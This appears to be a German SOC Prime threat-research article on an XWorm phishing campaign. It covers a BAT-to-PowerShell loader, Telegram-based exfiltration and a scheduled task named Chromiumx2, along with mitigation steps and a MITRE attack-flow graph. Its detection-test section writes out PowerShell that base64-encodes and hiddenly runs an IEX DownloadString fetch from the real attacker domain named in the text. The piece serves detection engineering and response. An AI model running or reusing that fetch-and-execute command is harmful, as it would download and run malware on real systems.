SOC Prime Bias: Mittel

06 Feb. 2026 18:26

Bösartiges Script liefert mehr Bösartigkeit

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Bösartiges Script liefert mehr Bösartigkeit
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine Phishing-E-Mail liefert einen bösartigen Anhang mit einem BAT-Skript, das PowerShell startet, um eine Base64-codierte Nutzlast herunterzuladen. Nach der Dekodierung entschlüsselt sich die Nutzlast zu XWorm, einem .NET Stealer, der den Host fingerprintet und gesammelte Daten über einen Telegram-Bot exfiltriert. Die Persistenz wird durch das Erstellen eines geplanten Tasks gewährleistet, der die abgelegte ausführbare Datei wiederholt ausführt. Der Betrieb stützt sich auf mehrere Infrastrukturkomponenten, einschließlich eines gefälschten Bild-Hosting-Köders und mindestens einer kompromittierten IP, die zur Nutzlast-Bereitstellung verwendet wird.

Untersuchung

Die Überprüfung des BAT-Skripts ergab eine PowerShell-Einzeiler, der eine wie eine PNG-Datei aussehende Datei von einer angreiferkontrollierten Domain abruft. Der eingebettete Base64-Inhalt wird dann bereinigt, umgedreht und dekodiert, um das .NET-Executable zu rekonstruieren. Die Analyse des Binärcodes zeigte, dass die Malware einen geplanten Task mit dem Namen Chromiumx2 registriert und die Telegram-API für Kommando- und Kontrollzwecke sowie zur Datenexfiltration nutzt. Ermittler extrahierten wichtige Netzwerkindikatoren, darunter die Hosting-Domain, die zugehörige IP-Adresse und den Telegram-API-Endpunkt, auf den während der Ausführung verwiesen wurde.

Minderung

Verhindern Sie die Ausführung unzuverlässiger BAT- und PowerShell-Inhalte, die von E-Mail-Anhängen oder aus Benutzer-Download-Verzeichnissen stammen. Wenden Sie eine Applikations-Whitelist an, um die Erstellung geplanter Aufgaben zu beschränken und verdächtige neue Task-Registrierungen zu markieren. Überwachen und, soweit möglich, beschränken Sie den ausgehenden Zugriff auf Telegram-API-Endpunkte und blockieren Sie die erkannten bösartigen Domains auf DNS-/Proxy-Ebenen. Halten Sie die Endpoint-Erkennungen mit neu beobachteten Indikatoren und skriptbasierten Download-Mustern auf dem neuesten Stand.

Reaktion

Isolieren Sie Endpunkte, an denen der geplante Task Chromiumx2 oder Chromiumx2.exe beobachtet wird. Entfernen Sie den geplanten Task, löschen Sie die bösartige Binärdatei und sammeln Sie Artefakte (Skript, dekodierte Nutzlast, Task-XML und relevante Logs) für forensische Untersuchungen. Suchen Sie in der Umgebung nach denselben Tasknamen, ähnlichem PowerShell-Dekodierverhalten und Telegram-getriebenem Verkehr. Setzen Sie möglicherweise kompromittierte Anmeldeinformationen zurück und benachrichtigen Sie die Benutzer über den Phishing-Anhang, um die Wiederholung der Ausführung zu reduzieren.

graph TB %% Klassendefinitionen classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Knoten initial_access[„<b>Technik</b> – T1566.001 Spearphishing-Anhang<br/><b>Beschreibung</b>: Der Angreifer sendet eine bösartige E-Mail mit einem .bat-Anhang.“]:::technique attachment_file[„<b>Datei</b> – malicious_attachment.bat<br/><b>Zweck</b>: Legt ein PNG-Bild mit verborgenem Shellcode ab.“]:::file masquerading[„<b>Technik</b> – T1036.008 Maskierung des Dateityps<br/><b>Beschreibung</b>: Die PNG-Datei optimized_MSI.png enthält tatsächlich Shellcode, der durch BaseStart- und -BaseEnd begrenzt ist.“]:::technique png_image[„<b>Datei</b> – optimized_MSI.png<br/><b>Inhalt</b>: Eingebetteter Shellcode mit Trennzeichen.“]:::file user_execution[„<b>Technik</b> – T1204 Benutzerausführung<br/><b>Beschreibung</b>: Das Opfer führt die bösartige Batch-Datei aus.“]:::technique powershell_exec[„<b>Technik</b> – T1059.001 PowerShell<br/><b>Beschreibung</b>: Dekodiert Base64-Daten, kehrt Hex-Strings um und startet Shellcode.“]:::technique obfuscation[„<b>Techniken</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Beschreibung</b>: Payload ist mit Junk-Daten, umgekehrtem Hex, dynamischer Kompilierung, Steganographie und dynamischer API-Auflösung verschleiert.“]:::technique c2_communication[„<b>Techniken</b> – T1059.009 Cloud-API, T1102.002 Bidirektionaler Webdienst, T1102.003 Einwegkommunikation<br/><b>Beschreibung</b>: .NET-Backdoor nutzt die Telegram Bot API für C2.“]:::c2 telegram_api[„<b>Werkzeug</b> – Telegram Bot API<br/><b>Endpunkt</b>: api.telegram.org“]:::tool persistence[„<b>Techniken</b> – T1543 Systemprozess erstellen oder ändern, T1546.002 Ereignisgesteuerte Ausführung, T1547.014 Active Setup<br/><b>Beschreibung</b>: Geplante Aufgabe „Chromiumx2“ wird jede Minute ausgeführt; Bildschirmschoner und Active Setup erzwingen die Ausführung.“]:::technique scheduled_task[„<b>Prozess</b> – schtasks<br/><b>Aufgabe</b>: Chromiumx2“]:::process priv_esc[„<b>Techniken</b> – T1055 Prozessinjektion, T1574 Hijacking des Ausführungsflusses<br/><b>Beschreibung</b>: Shellcode wird in einen legitimen Prozess injiziert, um höhere Rechte zu erlangen.“]:::technique process_injection[„<b>Prozess</b> – Legitimer Prozess<br/><b>Ziel</b>: Empfängt injizierten Shellcode.“]:::process credential_access[„<b>Techniken</b> – T1555.003 Zugangsdaten aus Webbrowsern, T1539 Diebstahl von Web-Session-Cookies<br/><b>Beschreibung</b>: Chrome-Injektor stiehlt Passwörter, Cookies und andere Browserdaten.“]:::technique chrome_injector[„<b>Malware</b> – Chrome Injector<br/><b>Funktion</b>: Extrahiert gespeicherte Zugangsdaten und Session-Cookies.“]:::malware discovery[„<b>Technik</b> – T1217 Browser-Informationsaufklärung<br/><b>Beschreibung</b>: Ermittelt Chrome-Profilpfade und gespeicherte Zugangsdaten.“]:::technique exfiltration[„<b>Technik</b> – T1041 Exfiltration über C2-Kanal<br/><b>Beschreibung</b>: Gesammelte Zugangsdaten und Systeminformationen werden über Telegram exfiltriert.“]:::technique lateral_movement[„<b>Techniken</b> – T1080 Kontaminierung gemeinsamer Inhalte, T1210 Ausnutzung von Remote-Diensten<br/><b>Beschreibung</b>: Zusätzliche Payloads werden für mögliche Weiterverbreitung heruntergeladen.“]:::technique additional_payload[„<b>Datei</b> – buildingmoney.txt<br/><b>Zweck</b>: Enthält weiteren bösartigen Code für laterale Bewegung.“]:::file %% Verbindungen initial_access –>|liefert| attachment_file attachment_file –>|erstellt| masquerading masquerading –>|erzeugt| png_image png_image –>|verwendet von| user_execution user_execution –>|löst aus| powershell_exec powershell_exec –>|führt aus| obfuscation obfuscation –>|kontaktiert| c2_communication c2_communication –>|nutzt| telegram_api c2_communication –>|etabliert| persistence persistence –>|erstellt| scheduled_task scheduled_task –>|führt aus| priv_esc priv_esc –>|injiziert in| process_injection process_injection –>|ermöglicht| credential_access credential_access –>|implementiert durch| chrome_injector chrome_injector –>|sammelt| discovery discovery –>|liefert| exfiltration exfiltration –>|sendet über| c2_communication c2_communication –>|lädt herunter| additional_payload additional_payload –>|ermöglicht| lateral_movement

Angriffsfluss

Simulationsausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorflugprüfung muss bestanden sein.

  • Angriffserzählung & Befehle:
    Der Angreifer möchte eine bösartige Nutzlast von einem kompromittierten Webserver herunterladen und ausführen. Um klassische Signaturerkennung zu umgehen, bettet er die gesamte Logic zum Download und zur Ausführung in einen einzelnen Base64-String ein und ruft PowerShell auf mit -EncodedCommand. Der Befehl verweist auf die genaue URL, die die Erkennungsregel überwacht (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Kodieren der bösartigen Nutzlast (ein einfacher Downloader, der das empfangene Skript ausführt):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      Ergebnis B64 (Beispiel): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (abgekürzt).

    2. Führen Sie den kodierten Befehl aus:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Diese einzelne Zeile erzeugt die genaue Telemetrie, die die Sigma-Regel erwartet: ein PowerShell-Prozess, das -EncodedCommand -Flag, und die bösartige URL im dekodierten Skriptblock.

  • Regressionstestskript:

    #-------------------------------------------------
    # Regression-Skript zum Auslösen der Erkennungsregel
    #-------------------------------------------------
    # 1. Erstellen Sie die bösartige Nutzlast
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Führen Sie die Nutzlast über einen kodierten PowerShell-Befehl aus
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Bösartiger kodierter Befehl ausgeführt."
    #-------------------------------------------------
  • Bereinigungskommandos:

    # Entfernen Sie alle temporären Dateien (keine erwartet, da die Nutzlast direkt gestreamt wird)
    # Beenden Sie alle verbliebenen versteckten PowerShell-Prozesse, die durch den Test gestartet wurden
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Bereinigung abgeschlossen."